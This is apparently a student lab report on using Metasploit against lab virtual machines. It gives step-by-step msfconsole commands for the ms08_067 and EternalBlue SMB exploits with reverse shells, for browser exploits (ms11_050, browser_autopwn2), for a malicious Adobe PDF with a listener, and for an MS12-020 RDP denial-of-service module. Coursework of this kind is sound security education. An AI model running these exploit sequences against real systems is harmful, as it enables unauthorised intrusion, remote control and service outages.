2018-2019 20165226 Exp5 MSF基础应用

时间:2022-12-27 17:58:41

2018-2019 20165226 Exp5 MSF基础应用

目录


一、实验内容说明及基础问题回答

二、实验过程

三、问题与思考

四、实验总结



一、实验内容说明及基础问题回答

****
1、实验内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
(1) 一个主动攻击实践,如ms08_067; (1分)

(2)一个针对浏览器的攻击,如ms11_050;(1分)

(3) 一个针对客户端的攻击,如Adobe;(1分)

(4)成功应用任何一个辅助模块。(0.5分)

2、基础问题回答

(1)用自己的话解释什么是 exploit , payload , encode.

  • exploit

    渗透攻击模块,利用系统服务应用中的漏洞取得权限
  • payload

    一段代码,用于渗透之后在目标主机上执行
  • encode

    用来对payload进行编码,主要是为了避免“坏字符”和做到免杀

返回目录



二、实验过程

> 攻击机kali——172.30.2.47
> 靶机:①WinXP——172.30.6.172②win2000——172.30.5.55

Task1 主动攻击实践

ms08_067

- 在攻击机kali输入msfconsole进入控制台,依次输入以下指令:
```
msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > show payloads

msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp //tcp反向回连

msf exploit(ms08_067_netapi) > set LHOST 172.30.2.47 //攻击机ip

msf exploit(ms08_067_netapi) > set LPORT 5226//攻击端口

msf exploit(ms08_067_netapi) > set RHOST 172.30.6.172 //靶机ip,特定漏洞端口已经固定

msf exploit(ms08_067_netapi) > set target 0 //自动选择目标系统类型,匹配度较高

msf exploit(ms08_067_netapi) > exploit //攻击

![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190409130830853-1961771941.png)

- 结果出现无法创建会话界面
![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190409130915688-257044040.png) - 查看targets,与本机作对比
![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190409131249100-1364885440.png) - 通过网上查找资料,发现xp中文版本打过补丁,于是换了一台win2000的,攻击成功
![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190409131648776-1434004229.png) - 输入`ipconfig/all`,获取相关的MAC地址、IP地址、子网掩码、网关地址以及DNS
![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190409131948922-971312417.png) <h4 id=212><font size=4 face="微软雅黑">ms17_010</font></h5>
> 攻击:kali
> 靶机:①win2000②winxp③win2008 - 进入msfconsole
- 输入以下指令

search ms17-010 #搜索漏洞

use exploit/windows/smb/ms17_010_eternalblue #选择漏洞

show payloads #查看可用攻击载荷

set payload windows/x64/meterpreter/reverse_tcp #选择攻击载荷

options

![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190410083819733-1354410653.png)

- 再输入以下指令:

set RHOST 172.30.2.111 #设置攻击ip

set LHOST 172.30.2.47 #设置监听主机

set LPORT 5226 #设置监听端口

- 失败
![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190410083943056-1324544571.png) - 尝试更换虚拟机,终于,成功
![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190410084207433-530988460.png) <h4 id=22><font size=4 face="微软雅黑"> Task2 针对浏览器的攻击</font></h5>
> 攻击机kali——172.30.2.47
> 靶机:①Win2000②win2007 <h4 id=221><font size=4 face="微软雅黑"> ms11_050</font></h5>
- 在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

msf > use windows/browser/ms11_050_mshtml_cobjectelement//使用浏览器ms11_050漏洞

msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_http //http反向回连

msf exploit(ms11_050_cobjectelement) > set LHOST 172.30.2.47 //攻击机ip

msf exploit(ms11_050_cobjectelement) > set LPORT 5226 //攻击端口固定

msf exploit(ms11_050_cobjectelement) > set URIPATH 5226lxs //统一资源标识符路径设置

msf exploit(ms11_050_cobjectelement) > exploit

![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190409133735789-1862726978.png)

- 在浏览器输入`http://172.30.2.47:8080/5226lxs`,IE无法访问
![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190409133601932-1744077502.png) - 设置浏览器的安全级别如下
![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190409133803414-649259516.png) - 仍然不行,重新换一台虚拟机
- 在设置Internet选项后仍是会出现IE浏览器的错误
![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190409134452247-1393896188.png) <h4 id=222><font size=4 face="微软雅黑"> browser_autopwn</font></h5>
- 换一个漏洞`实施browser_autopwn模块 `
- 攻击机里进入msfconsole,然后分别输入

use auxiliary/server/browser_autopwn2

set SRVHOST 172.30.2.47

set URIPATH auto

show options


- 开始攻击,可以看到msf在不停的尝试不同的payload
![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190409140909222-433084081.png) - 尝试成功,输出了可被访问的URL` http://172.30.2.47:8080/auto`并启动服务器
![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190409143009014-798414348.png) - 失败again
![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190409143042776-351159830.png) <h4 id=23><font size=4 face="微软雅黑"> Task3 对客户端的攻击,如Adobe</font></h5>
- 在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

msf > use windows/fileformat/adobe_cooltype_sing

msf exploit(adobe_cooltype_sing) > set payload

windows/meterpreter/reverse_tcp //tcp反向回连

msf exploit(adobe_cooltype_sing) > set LHOST 172.30.2.47 //攻击机ip

msf exploit(adobe_cooltype_sing) > set LPORT 5226//攻击端口

msf exploit(adobe_cooltype_sing) > set FILENAME 20165226.pdf //设置生成pdf文件的名字

msf exploit(adobe_cooltype_sing) > exploit //攻击


- 将生成的pdf文件拷贝到靶机上
![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190409202542571-659214307.png) - 在kali上输入`back`退出当前模块,进入监听模块,输入以下命令:

msf > use exploit/multi/handler //进入监听模块

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp //tcp反向连接

msf exploit(handler) > set LHOST 172.30.2.47 //攻击机ip

msf exploit(handler) > set LPORT 5226 //攻击端口固定

msf exploit(handler) > exploit

![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190409202838281-1508794294.png)

- 在靶机上打开20165226.pdf文件
![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190409203040372-1384410551.png) - 攻击机显示攻击成功
![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190409203102779-336271013.png) - 靶机关闭PDF文件则失去权限
![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190409203814041-1272949205.png) <h4 id=24><font size=4 face="微软雅黑"> Task4 成功应用auxiliary/dos/windows/rdp/ms12_020_maxchannelids模块(唯一)</font></h5>
> 攻击:kali
> 靶机:win2008 - 使用命令` show auxiliary`查看所有的辅助模块
- 使用`MS12-020(CVE-2012-0002)蓝屏攻击`
- 进入`msfconsole`
- 输入以下指令

search ms12-020 #搜索漏洞

use auxiliary/dos/windows/rdp/ms12_020_maxchannelids #使用漏洞

options #查看配置信息

set RHOST 172.30.2.47 #设置攻击IP

exploit #开始攻击

- 攻击成功
![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190410084900875-2072885089.png) [<font size=3 face="微软雅黑">返回目录</font>](#00)
<hr><hr> <h4 id=3><font size=5 face="微软雅黑"> 三、问题与思考</font></h4>
- 问题1:在进行`ms08_067_netapi`攻击时出现以下情况
![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190409131036803-1949453955.png) - 问题1解决方案:
- 首先查看targets
![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190409131141798-245707037.png) - 换另一台虚拟机,再次运行,攻击成功
![](https://img2018.cnblogs.com/blog/1047870/201904/1047870-20190409131653823-233610122.png) [<font size=3 face="微软雅黑">返回目录</font>](#00) <h4 id=3><font size=5 face="微软雅黑"> 四、实验总结</font></h4>
本次实验学会了如何搜索漏洞,并在现有的漏洞环境下,尝试利用漏洞进行直接或间接主动攻击客户端。在整个过程中,其实找适合的虚拟机特别关键,整个过程耗费的时间大量集中在尝试不同虚拟机使其得以被攻击。不乏看出,打过补丁的虚拟机其抗攻击能力更强,这也提醒我们应时常更新配置。 [<font size=3 face="微软雅黑">返回目录</font>](#00)
<hr><hr>

2018-2019 20165226 Exp5 MSF基础应用的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165236 Exp5 MSF基础应用

    2018-2019-2 网络对抗技术 20165236 Exp5 MSF基础应用 一. 实践内容(3.5分) 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要 ...

  2. 2018-2019-2 网络对抗技术 20165318 Exp5 MSF基础应用

    2018-2019-2 网络对抗技术 20165318 Exp5 MSF基础应用 原理与实践说明 实践原理 实践内容概述 基础问题回答 攻击实例 主动攻击的实践 ms08_067_netapi:自动化 ...

  3. 2018-2019-2 网络对抗技术 20165301 Exp5 MSF基础应用

    2018-2019-2 网络对抗技术 20165301 Exp5 MSF基础应用 实践原理 1.MSF攻击方法 主动攻击:扫描主机漏洞,进行攻击 攻击浏览器 攻击其他客户端 2.MSF的六个模块 查看 ...

  4. 2018-2019 20165232 Exp5 MSF基础应用

    2018-2019 20165232 Exp5 MSF基础应用 一.原理与实践说明 1.实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个 ...

  5. 2018-2019 20165237网络对抗 Exp5 MSF基础应用

    2018-2019 20165237网络对抗 Exp5 MSF基础应用 实验目标 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如 ...

  6. 2018-2019 20165221 网络对抗 Exp5 MSF基础

    2018-2019 20165221 网络对抗 Exp5 MSF基础 实践内容: 重点掌握metassploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如ms0 ...

  7. 2018-2019-2 20165206 网络攻防技术 Exp5 MSF基础应用

    - 2018-2019-2 20165206<网络攻防技术>Exp5 MSF基础应用 - 实验任务 1.1一个主动攻击实践,如ms08_067; (1分) 1.2 一个针对浏览器的攻击,如 ...

  8. 2018-2019 20165235 网络对抗 Exp5 MSF基础

    2018-2019 20165235 网络对抗 Exp5 MSF基础 1. 实践内容(3.5分) 1.1一个主动攻击实践 攻击方:kali 192.168.21.130 靶机: win7 192.16 ...

  9. 2018-2019-2 网络对抗技术 20162329 Exp5 MSF基础应用

    目录 Exp5 MSF基础应用 一.基础问题回答 二.攻击系统 ms08_067攻击(成功) 三.攻击浏览器 ms11_050_mshtml_cobjectelement(Win7失败) 手机浏览器攻 ...

随机推荐

  1. 【Java基础】Java接口的总结

    什么是接口 接口和抽象类很相似,也是一种抽象的概念,用Interface关键字来修饰.那有了抽象类为啥还要有个接口呢,既然都是抽象的,要一个不就可以了吗?其实不是这样的,抽象类是对一类事物共性的一种抽 ...

  2. 原生js方法document&period;getElementsByClassName在ie8及其以下的兼容性问题

    document.getElementsByClassName在ie8及其以下浏览器的兼容性问题,在ie8及其以下浏览器中不能使用,针对这个问题,下面给出详细的解决方法,感兴趣的朋友可以参考下     ...

  3. 字符编码知识简介和iconv函数的简单使用

    字符编码知识简介和iconv函数的简单使用 字符编码知识简介 我们知道,在计算机的世界其实只有0和1.期初计算机主要用于科学计算,而我们知道一个数,除了用我们常用对10进制表示,也可以用2进制表示,所 ...

  4. Cocos2d-x 实战

    跨平台商业项目实战:攻城大作战游戏创意触发点:做什么样的游戏?分析当前主流的游戏:经典游戏(俄罗斯方块).大众化的游戏(卡牌游戏.休闲游戏).重口味游戏. 游戏创意:生活当中 游戏开发流程:1.策划方 ...

  5. ES6中的Array&period;from&lpar;&rpar;函数的用法

    ES6为Array增加了from函数用来将其他对象转换成数组. 当然,其他对象也是有要求,也不是所有的,可以将两种对象转换成数组. 1.部署了Iterator(迭代器)接口的对象,比如:Set,Map ...

  6. Zabbix4&period;0添加端口和进程监控

    一:Zabbix设置主动模式: vim /etc/zabbix/zabbix_agent.conf Server=192.168.1.10 #被动模式的serverip地址,如果设置纯被动模式,可以注 ...

  7. 图论&amp&semi;数学:拉姆齐(Ramsey)定理

    拉姆齐(Ramsey)定理是要解决以下的问题:要找这样一个最小的数n,使得n个人中必定有k个人相识或l个人互不相识 我们所知道的结论是这样的 6 个人中至少存在3人相互认识或者相互不认识. 该定理等价 ...

  8. IEEEXtreme 10&period;0 - Counting Molecules

    这是 meelo 原创的 IEEEXtreme极限编程大赛题解 Xtreme 10.0 - Counting Molecules 题目来源 第10届IEEE极限编程大赛 https://www.hac ...

  9. matlab中一些常用的函数

    stem函数h = stem(x,y); %绘制火柴梗图 ,stem的工作原理是,根据一个x对应一个y,绘制火柴梗图.

  10. 根据当前日期算前一年、前一月、前一天&lpar;java基础&rpar;

    问题的本身没有什么难度,但是要想一下子找到一个现成的方法还真不是那么容易,本来以为java.util.Date中会有方法结果找了半天没找到,最后还是在Calendar中找到了,记下别忘了!! 核心:使 ...